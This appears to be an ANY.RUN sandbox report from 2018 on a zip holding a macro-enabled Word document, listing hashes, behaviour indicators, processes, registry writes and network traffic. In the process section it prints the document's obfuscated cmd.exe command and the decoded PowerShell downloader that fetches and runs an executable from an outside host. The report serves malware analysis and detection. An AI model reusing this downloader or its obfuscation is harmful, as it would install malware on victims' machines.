Malware analysis Potential Malware.zip Malicious activity

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File name:	Potential Malware.zip
Full analysis:	https://app.any.run/tasks/0f81f068-972d-45b6-b3b0-12afeea78d55
Verdict:	Malicious activity
Analysis date:	December 18, 2018, 13:31:08
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open maldoc-4
Indicators:
MIME:	application/zip
File info:	Zip archive data, at least v2.0 to extract
MD5:	3D8666A905EF319507FBAF0D384D633C
SHA1:	50A905273C55E0C31742F808CEE8DC75276A9A78
SHA256:	7E10BC9F7900404EB0B68E6CCA2E1A420DDE21E471E9652D03810CD70FEA790F
SSDEEP:	768:xNEaza+nUG5+fil1qScLhJbBxQo+To25WS6+tRhK+cM9z4yLvGefQ:fEpXyl8SOhJlxQoKoordRhKc9zx+e4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Starts CMD.EXE for commands execution
  - WINWORD.EXE (PID: 2944)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2944)
- Executes PowerShell scripts
  - cmd.exe (PID: 2592)
SUSPICIOUS
- Starts Microsoft Office Application
  - WinRAR.exe (PID: 2964)
- Starts CMD.EXE for commands execution
  - cmd.exe (PID: 4020)
- Creates files in the user directory
  - powershell.exe (PID: 2332)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 2944)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2944)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.zip	\|	ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	-
ZipCompression:	Deflated
ZipModifyDate:	2018:12:18 08:30:14
ZipCRC:	0x8ad06ada
ZipCompressedSize:	41346
ZipUncompressedSize:	62848
ZipFileName:	Cheekholdings.doc

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2332

powershell $TTS='BVI';$Vvp=new-object Net.WebClient;$uXs='http://iscondisth.com/rez-senqo/o402ek2m.php?l=sixino13.dds'.Split('@');$OsV='RrE';$rtt = '800';$XMQ='LoE';$Suj=$env:temp+'\'+$rtt+'.exe';foreach($zmR in $uXs){try{$Vvp.DownloadFile($zmR, $Suj);$Oif='qUS';If ((Get-Item $Suj).length -ge 80000) {Invoke-Item $Suj;$NLC='BNZ';break;}}catch{}}$rtG='iVa';

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2592

CmD /V/C"set zUI=;'aVi'=Gtr$}}{hctac}};kaerb;'ZNB'=CLN$;juS$ metI-ekovnI{ )00008 eg- htgnel.)juS$ metI-teG(( fI;'SUq'=fiO$;)juS$ ,Rmz$(eliFdaolnwoD.pvV${yrt{)sXu$ ni Rmz$(hcaerof;'exe.'+ttr$+'\'+pmet:vne$=juS$;'EoL'=QMX$;'008' = ttr$;'ErR'=VsO$;)'@'(tilpS.'sdd.31onixis=l?php.m2ke204o/oqnes-zer/moc.htsidnocsi//:ptth'=sXu$;tneilCbeW.teN tcejbo-wen=pvV$;'IVB'=STT$ llehsrewop&&for /L %J in (356,-1,0)do set FvI1=!FvI1!!zUI:~%J,1!&&if %J lss 1 call %FvI1:*FvI1!=%"

C:\Windows\system32\cmd.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

2944

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIa2964.39434\Cheekholdings.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

WinRAR.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

2964

"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Potential Malware.zip"

C:\Program Files\WinRAR\WinRAR.exe

—

explorer.exe

User:

admin

Company:

Alexander Roshal

Integrity Level:

MEDIUM

Description:

WinRAR archiver

Exit code:

Version:

5.60.0

Modules

Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll

4020

c:\LfRWscp\jzcKOAbAt\BWDJOMYbuEn\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set zUI=;'aVi'=Gtr$}}{hctac}};kaerb;'ZNB'=CLN$;juS$ metI-ekovnI{ )00008 eg- htgnel.)juS$ metI-teG(( fI;'SUq'=fiO$;)juS$ ,Rmz$(eliFdaolnwoD.pvV${yrt{)sXu$ ni Rmz$(hcaerof;'exe.'+ttr$+'\'+pmet:vne$=juS$;'EoL'=QMX$;'008' = ttr$;'ErR'=VsO$;)'@'(tilpS.'sdd.31onixis=l?php.m2ke204o/oqnes-zer/moc.htsidnocsi//:ptth'=sXu$;tneilCbeW.teN tcejbo-wen=pvV$;'IVB'=STT$ llehsrewop&&for /L %J in (356,-1,0)do set FvI1=!FvI1!!zUI:~%J,1!&&if %J lss 1 call %FvI1:*FvI1!=%"

c:\windows\system32\cmd.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

1 857

Read events

1 658

Write events

190

Delete events

Modification events


(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtBMP
Value:
(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtIcon
Value:
(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\AppData\Local\Temp\Potential Malware.zip
(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(2964) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100
(PID) Process:	(2944) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	c20
Value: 63323000800B0000010000000000000000000000
(PID) Process:	(2944) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR8EB4.tmp.cvr		—
		MD5:—	SHA256:—
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\85051373.wmf		—
		MD5:—	SHA256:—
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\399890F9.wmf		—
		MD5:—	SHA256:—
2332	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HY4D9RDY6ZPICNBZZKGW.temp		—
		MD5:—	SHA256:—
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~DF3E827A96059D864C.TMP		—
		MD5:—	SHA256:—
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{94CC09CA-6D5C-4E82-80FF-B8B07FF6F6DB}.tmp		—
		MD5:—	SHA256:—
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{E30220D1-5EE6-4A03-A53F-3AF358B617DB}.tmp		—
		MD5:—	SHA256:—
2964	WinRAR.exe	C:\Users\admin\AppData\Local\Temp\Rar$DIa2964.39434\Cheekholdings.doc		document
		MD5:—	SHA256:—
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B5726BA.wmf		wmf
		MD5:—	SHA256:—
2944	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD3CCED8.wmf		wmf
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2332	powershell.exe	GET	404	185.231.155.12:80	http://iscondisth.com/rez-senqo/o402ek2m.php?l=sixino13.dds	unknown	—	—	suspicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2332	powershell.exe	185.231.155.12:80	iscondisth.com	—	—	suspicious

DNS requests

Domain	IP	Reputation
iscondisth.com	185.231.155.12	suspicious

Threats

No threats detected

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No debug info

General Info

Potential Malware.zip

3D8666A905EF319507FBAF0D384D633C

50A905273C55E0C31742F808CEE8DC75276A9A78

7E10BC9F7900404EB0B68E6CCA2E1A420DDE21E471E9652D03810CD70FEA790F

768:xNEaza+nUG5+fil1qScLhJbBxQo+To25WS6+tRhK+cM9z4yLvGefQ:fEpXyl8SOhJlxQoKoordRhKc9zx+e4

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Starts CMD.EXE for commands execution

Unusual execution from Microsoft Office

Executes PowerShell scripts

SUSPICIOUS

Starts Microsoft Office Application

Starts CMD.EXE for commands execution

Creates files in the user directory

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings